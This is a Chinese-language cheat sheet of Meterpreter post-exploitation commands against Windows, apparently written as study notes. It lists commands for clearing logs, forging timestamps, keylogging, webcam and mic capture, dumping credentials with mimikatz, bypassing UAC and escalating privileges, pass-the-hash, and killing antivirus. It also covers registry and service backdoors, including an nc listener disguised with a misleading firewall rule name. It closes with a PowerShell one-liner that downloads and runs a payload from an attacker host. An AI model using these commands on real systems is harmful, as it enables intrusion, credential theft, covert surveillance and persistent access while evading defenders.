0x00 前言
由於最近想學習關於內網滲透的一些知識,前面也有師傅寫了關於meterpreter的使用攻略,我這裏就來複現學習一下。
Meterpreter是Metasploit框架中的一個擴展模塊,作爲後滲透階段的利器,其強大之處可想而知,我這裏就簡單介紹一下在滲透中可能用的到的一些命令,如若有什麼不對的地方還請師傅們多多指教。
0x01 系統命令
基本系統命令
background # 將當前會話放置後臺
sessions # sessions –h 查看幫助
sessions -i <ID值> #進入會話 -k 殺死會話
bgrun / run # 執行已有的模塊,輸入run後按兩下tab,列出已有的腳本
info # 查看已有模塊信息
getuid # 查看當前用戶身份
getprivs # 查看當前用戶具備的權限
getpid # 獲取當前進程ID(PID)
sysinfo # 查看目標機系統信息
irb # 開啓ruby終端
ps # 查看正在運行的進程
kill <PID值> # 殺死指定PID進程
idletime # 查看目標機閒置時間
reboot / shutdown # 重啓/關機
shell # 進入目標機cmd shell
常用cmd命令
whoami # 當前權限
quser # 查詢當前在線的管理員
net user # 查看存在用戶
net user 用戶名 密碼 /add # 添加用戶和對應密碼
net localgroup 用戶組名 用戶名 /add # 將指定用戶添加到指定用戶組
netstat -ano # 查詢當前計算機中網絡連接通信情況,LISTENING表示該端口處於監聽狀態;ESTABLISHED表示該端口處於工作(通信)狀態
systeminfo # 查看當前計算機中的詳細情況
tasklist /svc # 查看每個進程所對應的服務
taskkill /f /im 程序名稱 # 結束某個指定名稱的程序
taskkill /f /PID ID # 結束某個指定PID的進程
tasklist | findstr "字符串" # 查找輸出結果中指定的內容
netsh adcfirewall set allprofiles state off # 關閉防火牆
logoff # 註銷某個指定用戶的ID
shutdown -r # 重啓當前計算機
uictl開關鍵盤/鼠標
uictl [enable/disable] [keyboard/mouse/all] # 開啓或禁止鍵盤/鼠標
uictl disable mouse # 禁用鼠標
uictl disable keyboard # 禁用鍵盤
execute執行文件
execute #在目標機中執行文件
execute -H -i -f cmd.exe # 創建新進程cmd.exe,-H不可見,-i交互
execute -H -m -d notepad.exe -f payload.exe -a "-o hack.txt"
# -d 在目標主機執行時顯示的進程名稱(用以僞裝)-m 直接從內存中執行
"-o hack.txt"是payload.exe的運行參數
migrate進程遷移
getpid # 獲取當前進程的pid
ps # 查看當前活躍進程
migrate <pid值> # 將Meterpreter會話移植到指定pid值進程中
kill <pid值> # 殺死進程
clearev清除日誌
clearev # 清除windows中的應用程序日誌、系統日誌、安全日誌
0x02 文件系統命令
基本文件系統命令
ls # 列出當前目錄中的文件列表
cd # 進入指定目錄
getwd / pwd # 查看當前工作目錄
search -d c:\\ -f *.txt # 搜索文件 -d 目錄 -f 文件名
cat c:\\123.txt # 查看文件內容
upload /tmp/hack.txt C:\\ # 上傳文件到目標機上
download c:\\123.txt /tmp/ # 下載文件到本機上
edit c:\\test.txt # 編輯或創建文件 沒有的話,會新建文件
rm C:\\hack.txt # 刪除文件
mkdir admin # 只能在當前目錄下創建文件夾
rmdir admin # 只能刪除當前目錄下文件夾
getlwd / lpwd # 查看本地當前目錄
lcd /tmp # 切換本地目錄
timestomp僞造時間戳
timestomp C:\\ -h #查看幫助
timestomp -v C:\\2.txt #查看時間戳
timestomp C:\\2.txt -f C:\\1.txt #將1.txt的時間戳複製給2.txt
timestomp c:\\test\\22.txt -z "03/10/2019 11:55:55" -v # 把四個屬性設置爲統一時間
0x03 網絡命令
基本網絡命令
ipconfig/ifconfig # 查看網絡接口信息
netstat –ano # 查看網絡連接狀態
arp # 查看arp緩衝表
getproxy # 查看代理信息
route # 查看路由表信息
portfwd端口轉發
portfwd add -l 1111 -p 3389 -r 127.0.0.1 #將目標機的3389端口轉發到本地1111端口
rdesktop 127.0.0.1:1111 # 需要輸入用戶名密碼連接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用戶名 -p 密碼
autoroute添加路由
可參考:https://www.anquanke.com/post/id/86505
run autoroute -h # 查看幫助
run get_local_subnets # 查看目標內網網段地址
run autoroute -s 192.168.183.0/24 # 添加目標網段路由
run autoroute -p # 查看添加的路由
利用arp_scanner、portscan等進行掃描
run post/windows/gather/arp_scanner RHOSTS=192.168.183.0/24
run auxiliary/scanner/portscan/tcp RHOSTS=192.168.183.146 PORTS=3389
Socks代理
可參考:https://www.freebuf.com/articles/network/125278.html
只有在目標設備添加完路由後纔可以通過msf自帶的socks4a模塊進行socks4代理轉發
use auxiliary/server/socks4a
set srvhost 127.0.0.1
set srvport 2000
run
然後vim /etc/proxychains.conf
,在文件末尾添加socks4代理服務器
使用proxychains代理訪問執行nmap操作
proxychains nmap -sV -p 445 --script=smb-vuln-ms17-010.nse 192.168.183.146 # 掃描永恆之藍漏洞
proxychains hydra 192.168.183.146 rdp -l administrator -P password.txt -V # rdp服務暴力破解
0x04 信息收集
常用腳本
run arp_scanner -r 192.168.183.1/24 # 利用arp進行存活主機掃描
run winenum # 自動化執行一些檢測腳本
run credcollect # 獲取用戶hash
run domain_list_gen # 獲取域管理賬戶列表
run post/multi/gather/env # 獲取用戶環境變量
run post/windows/gather/enum_logged_on_users -c # 列出當前登錄用戶
run post/linux/gather/checkvm # 是否虛擬機
run post/windows/gather/checkvm # 是否虛擬機
run post/windows/gather/forensics/enum_drives # 查看磁盤分區信息
run post/windows/gather/enum_applications # 獲取安裝軟件信息
run post/windows/gather/dumplinks # 獲取最近訪問過的文檔、鏈接信息
run post/windows/gather/enum_ie # 獲取IE緩存
run post/windows/gather/enum_firefox # 獲取firefox緩存
run post/windows/gather/enum_chrome # 獲取Chrome緩存
run post/multi/recon/local_exploit_suggester # 獲取本地提權漏洞
run post/windows/gather/enum_patches # 獲取補丁信息
run post/windows/gather/enum_domain # 查找域控
run post/windows/gather/enum_snmp # 獲取snmp團體名稱
run post/windows/gather/credentials/vnc # 獲取vnc密碼
run post/windows/wlan/wlan_profile # 用於讀取目標主機WiFi密碼
run post/multi/gather/wlan_geolocate # 基於wlan進行地理位置確認 文件位於/root/.msf4/loot
run post/windows/manage/killav 關閉殺毒軟件
PS:常用的破解模塊
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/ftp/ftp_login
auxiliary/scanner/ssh/ssh_login
auxiliary/scanner/telnet/telnet_login
auxiliary/scanner/smb/smb_login
auxiliary/scanner/mssql/mssql_login
auxiliary/scanner/mysql/mysql_login
auxiliary/scanner/oracle/oracle_login
auxiliary/scanner/postgres/postgres_login
auxiliary/scanner/vnc/vnc_login
auxiliary/scanner/pcanywhere/pcanywhere_login
auxiliary/scanner/snmp/snmp_login
auxiliary/scanner/ftp/anonymous
鍵盤記錄
keyscan_start # 開始鍵盤記錄
keyscan_dump # 導出記錄數據
keyscan_stop # 結束鍵盤記錄
sniffer抓包
use sniffer
sniffer_interfaces # 查看網卡
sniffer_start 1 # 選擇網卡1開始抓包
sniffer_stats 1 # 查看網卡1狀態
sniffer_dump 1 /tmp/wlan1.pcap # 導出pcap數據包
sniffer_stop 1 # 停止網卡1抓包
sniffer_release 1 # 釋放網卡1流量
竊取令牌
steal_token <pid值> # 從指定進程中竊取token
drop_token # 停止假冒當前的token
網絡攝像頭
record_mic # 音頻錄製
webcam_chat # 開啓視頻聊天(對方有彈窗)
webcam_list # 查看攝像頭
webcam_snap # 通過攝像頭拍照
webcam_stream # 通過攝像頭開啓視頻監控(以網頁形式進行監控≈直播)
截屏
screenshot # 截屏
use espia # 使用espia模塊
screengrab # 截屏
0x05 提權
getsystem提權
利用getsystem命令提權,該命令會自動尋找各種可能的提權技術來使得用戶將權限提升到更高的級別。提權方式採用命令管道模擬提升的方法和令牌複製的方法。
getsystem
本地漏洞提權
本地漏洞提權即是通過運行一些造成溢出漏洞的exploit,把用戶從普通權限提升爲管理員權限。
1.利用getuid查看已獲得權限,嘗試利用getsystem提權,失敗。
2.利用enum_patches模塊蒐集補丁信息,然後尋找可利用的exploits進行提權。
run post/windows/gather/enum_patches #查看補丁信息
background
search MS10-015
use exploit/windows/local/ms10_015_kitrap0d
set session 8
run
繞過UAC提權
使用bypassuac提權
msf內置一些bypassuac腳本,原理不同,使用方法類似,執行後返回一個新的會話,再次執行getsystem即可提權
exploit/windows/local/bypassuac
exploit/windows/local/bypassuac_eventvwr
exploit/windows/local/bypassuac_injection
exploit/windows/local/bypassuac_injection_winsxs
exploit/windows/local/bypassuac_silentcleanup
exploit/windows/local/bypassuac_vbs
使用命令getsystem提權失敗,然後利用bypassuac來提權,這裏利用exploit/windows/local/bypassuac模塊(32位、64位都有效)
use exploit/windows/local/bypassuac
set session 1
run
使用RunAs提權
該方法利用exploit/windows/local/ask模塊(32位、64位都有效),創建一個可執行文件並在目標機上發起一個提升權限請求的程序,觸發系統UAC,提示用戶是否要繼續,如果用戶選擇“是”,則會返回一個高權限的meterpreter shell。
use exploit/windows/local/ask
set filename update.exe # 設置反彈程序名稱
set session 1
run
輸入run命令以後會在目標機上彈出UAC,提示用戶是否允許,選擇是就會返回一個高權限的meterpreter shell。
注意事項:
使用RunAs模塊進行提權時,系統當前用戶須在管理員組或者知道管理員的密碼,用戶賬戶控制程序UAC設置則沒有要求。使用RunAs模塊進行提權時,會創建一個可執行文件,爲了避免給殺毒軟件查殺,該可執行文件(需進行免殺處理)的創建要使用EXE::Custom選項。
假冒令牌提權
令牌是系統臨時密鑰,它允許你在不提供密碼或其他憑證的前提下,訪問網絡和系統資源。這些令牌將持續存在於系統中,除非系統重新啓動。一般有兩種類型的令牌,一種是Delegation Tokens,也就是授權令牌,它支持交互式登錄(例如遠程桌面登陸登錄)。還有一種是Impersonation Tokens,也就是模擬令牌,它是非交互的會話(例如訪問文件共享)。
use incognito # 加載竊取令牌模塊
list_tokens -u # 查看可用的用戶令牌
list_tokens -g # 查看可用的用戶組令牌
impersonate_token 'NT AUTHORITY\SYSTEM' # 假冒SYSTEM token
rev2self #返回原始token
利用AlwaysInstallElevated提權
AlwaysInstallElevated是一個策略設置。微軟允許非授權用戶以SYSTEM權限運行安裝文件(MSI),如果用戶啓用此策略設置,那麼黑客利用惡意的MSI文件就可以進行管理員權限的提升。
查看AlwaysInstallElevated是否被定義
不過利用此方法有個前提條件,需要有兩個註冊表的鍵值爲1,我們可以在cmdshell下查看AlwaysInstallElevated是否被定義
reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated
如上圖所示已經開啓AlwaysInstallElevated,如果在組策略裏未定義AlwaysInstallElevated,則會出現“錯誤: 系統找不到指定的註冊表項或值”的提示,如下圖所示:
如果需要開啓可以選擇以下方法:
1.打開組策略編輯器(運行框輸入gpedit.msc)
2.組策略->計算機配置->管理模版->Windows組件->Windows Installer->永遠以高特權進行安裝:選擇啓用
3.組策略->用戶配置->管理模版->Windows組件->Windows Installer->永遠以高特權進行安裝:選擇啓用
設置完成後對應註冊表的位置值會設爲1,開啓AlwaysInstallElevated。
生成MSI安裝文件
利用msfvenom命令生成一個在目標機上增加管理員用戶的MSI安裝文件,這裏密碼要設置爲強密碼,否則會報錯。
msfvenom -p windows/adduser USER=msi PASS=Abc123@@ -f msi -o msi.msi
上傳並執行MSI文件
upload msi.msi c:\\Users\\test # 部分目錄由於權限原因可能上傳失敗
msiexec /quiet /qn /i msi.msi # /quiet=安裝過程中禁止向用戶發送消息 /qn=不使用圖形界面 /i=安裝程序
net localgroup administrators
執行成功後查看管理員組發現用戶已經添加成功
注意:
由於是msf生成的msi文件,所以默認會被殺毒軟件攔截,需要做好免殺。
0x06 竊取hash及密碼&哈希傳遞
竊取hash及密碼
hashdump
hashdump
run post/windows/gather/smart_hashdump
得到的hash可以拿去https://cmd5.com/ 解密一下即是用戶密碼
mimikatz
load mimikatz # 加載mimikatz模塊
msv # 獲取用戶和hash值
kerberos # 獲取內存中的明文密碼信息
wdigest # 獲取內存中的明文密碼信息
mimikatz_command -f a:: # 需要以錯誤的模塊來讓正確的模塊顯示
mimikatz_command -f sekurlsa::searchPasswords # 獲取用戶密碼
mimikatz_command -f samdump::hashes # 執行用戶hash
kiwi
kiwi是利用的mimikatz擴展,運行需要SYSTEM權限
load kiwi
creds_all
哈希傳遞
利用hashdump得到用戶的hash後可利用psexec模塊進行哈希傳遞攻擊。
使用psexec的前提:SMB服務必須開啓,也就是開啓445端口;Admin$可以訪問。
use exploit/windows/smb/psexec
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 443
set RHOST 192.168.183.154
set SMBUSER Administrator
set SMBPASS ccf**4ee:3db**678
set SMBDOMAIN WORKGROUP # 域用戶需要設置SMBDOMAIN
run
0x07 RDP
開啓3389
getgui命令
這裏需要注意的是通過getgui命令,雖然可以成功添加用戶,但是沒有權限遠程登錄桌面,這裏推薦使用enable_rdp腳本添加。
run getgui –h # 查看幫助
run getgui -e # 開啓遠程桌面
run getgui -u admin -p admin # 添加用戶
run getgui -f 6666 -e # 3389端口轉發到6666
enable_rdp腳本
通過enable_rdp腳本將用戶添加到遠程桌面用戶組和管理員用戶組
run post/windows/manage/enable_rdp #開啓遠程桌面
run post/windows/manage/enable_rdp USERNAME=admin PASSWORD=admin # 添加用戶
run post/windows/manage/enable_rdp FORWARD=true LPORT=6667 # 將3389端口轉發到6667
遠程桌面
enumdesktops # 查看可用的桌面
getdesktop # 獲取當前meterpreter 關聯的桌面
setdesktop # 設置meterpreter關聯的桌面 -h查看幫助
run vnc # 使用vnc遠程桌面連接
rdesktop 127.0.0.1:1111 # 需要輸入用戶名密碼連接
rdesktop -u Administrator -p 123 127.0.0.1:1111 # -u 用戶名 -p 密碼
0x08 註冊表操作
註冊表基本命令
reg –h # 查看幫助
-k 註冊表的路徑 -v 鍵的名稱 -d 鍵值
reg enumkey [-k <key>] # 枚舉註冊表的內容
reg createkey [-k <key>] # 創建註冊表項
reg deletekey [-k <key>] # 刪除註冊表項
reg setval [-k <key> -v <val> -d <data>] # 在註冊表裏添加內容
reg deleteval [-k <key> -v <val>] # 刪除註冊表的值
reg queryval [-k <key> -v <val>] # 查詢註冊表的值
利用註冊表添加nc後門
1.編輯註冊表,添加nc到系統啓動項中,形成後門程序。
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 # 上傳nc到目標主機
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run # 枚舉註冊表run下的鍵值
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v test_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' # 設置鍵值 -v 鍵的名稱 -d 鍵值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v test_nc # 查詢test_nc的鍵值
2.設置防火牆允許通過443端口(如果目標主機開啓防火牆,沒有設置相應的規則可能會導致連接失敗。)
shell
netsh firewall show opmode # 查看防火牆狀態
netsh firewall add portopening TCP 443 "網絡發現(Pub PSD-Out)" ENABLE ALL # 添加防火牆的規則允許443端口通過(這裏“網絡發現(Pub PSD-Out)”是規則名稱,目的是爲了迷惑管理員。)
3.待目標主機重啓後,自啓nc程序,然後我們利用nc連接即可
0x09 後門植入
在我們通過漏洞獲取到目標主機權限之後,如果目標主機主機重啓亦或是管理員發現並修補了漏洞,那麼我們就會失去對服務器的控制權,所以我們需要通過植入後門來維持權限,前面說的nc後門就是其中一種,另外一般還有Persistence和Metsvc
Persistence(通過啓動項安裝)
run persistence –h # 查看幫助
run persistence -X -i 5 -p 4444 -r 192.168.183.147
run persistence -U -i 5 -p 4444 -r 192.168.183.147 -L c:\\Windows\\System32
-X:設置後門在系統啓動後自啓動。該方式會在HKLM\Software\Microsoft\Windows\CurrentVersion\Run下添加註冊表信息。由於權限原因會導致添加失敗,後門無法啓動。因此在非管理員權限下,不推薦使用該參數
-U:設置後門在用戶登錄後自啓動。該方式會在HKCU\Software\Microsoft\Windows\CurrentVersion\Run下添加註冊表信息
-L:後門傳到遠程主機的位置默認爲%TEMP%
-i:設置反向連接間隔時間爲5秒
-p:設置反向連接的端口號
-r:設置反向連接的ip地址
Metsvc(通過服務安裝)
run metsvc -h # 查看幫助
run metsvc -A # 自動安裝後門
run metsvc -r # 刪除後門
連接後門
use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set rhost 192.168.183.169
set lport 31337
run
Powershell後門
use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.183.147
set LPORT 2334
set srvport 2333
set uripath /
set target 5
run
在目標設備cmd上執行以下命令即可反彈
powershell.exe -nop -w hidden -c $z="echo ($env:temp+'\eJedcsJE.exe')"; (new-object System.Net.WebClient).DownloadFile('http://192.168.183.147:2333/', $z); invoke-item $z